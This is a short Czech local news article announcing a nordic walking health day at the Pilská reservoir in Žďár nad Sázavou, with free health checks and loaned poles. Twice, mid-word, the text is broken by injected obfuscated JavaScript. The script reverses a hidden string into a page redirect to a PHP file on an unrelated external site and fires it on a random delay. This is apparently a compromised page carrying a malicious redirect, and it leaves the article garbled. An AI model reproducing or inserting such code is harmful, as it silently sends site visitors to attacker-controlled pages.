U Piláku se budou lidé učit správnou techniku nordic walkingu

Úterý, 19. června 2018

Žďár nad Sázavou / Vyzkoušet si správnou techniku chůze s holemi, takzvaného nordic walkingu, mohou zájemci přijít do volnočasového areálu u Pilské nádrže ve středu 20. června v deset hodin dopoledne. Akce nazvaná Den zdraví s pohybem a chůzí nordic walking s podporou Kraje Vysočina pořádá základní organizace Svazu postižených civilizačními chorobami v České republice pro region Žďárska. Přijít si „zachodit“ může kdokoliv - nemocní civilizačními chorobami, senioři či další zájemci z řad veřejnosti. Na místě si bude rovněž možné nechat změřit krevní tlak, BMI index a procen["\'///\'="];["\'///\'="]; };["\'//\'="]}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to tělesného tuku. Pokud se někdo chce akce aktivně zúčastnit, ale hole na „severskou“ chůzi nemá, organizá["\'///\'="];["\'///\'="]; };["\'//\'="]}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toři mu je mohou na místě zapůjčit. Výuka správného pohybu s holemi se uskuteční na začátku programu, poté účastníky čeká společný pochod po trase v délce půl kilometru až tři kilometry. Každý může jít svým tempem a podle svých možností.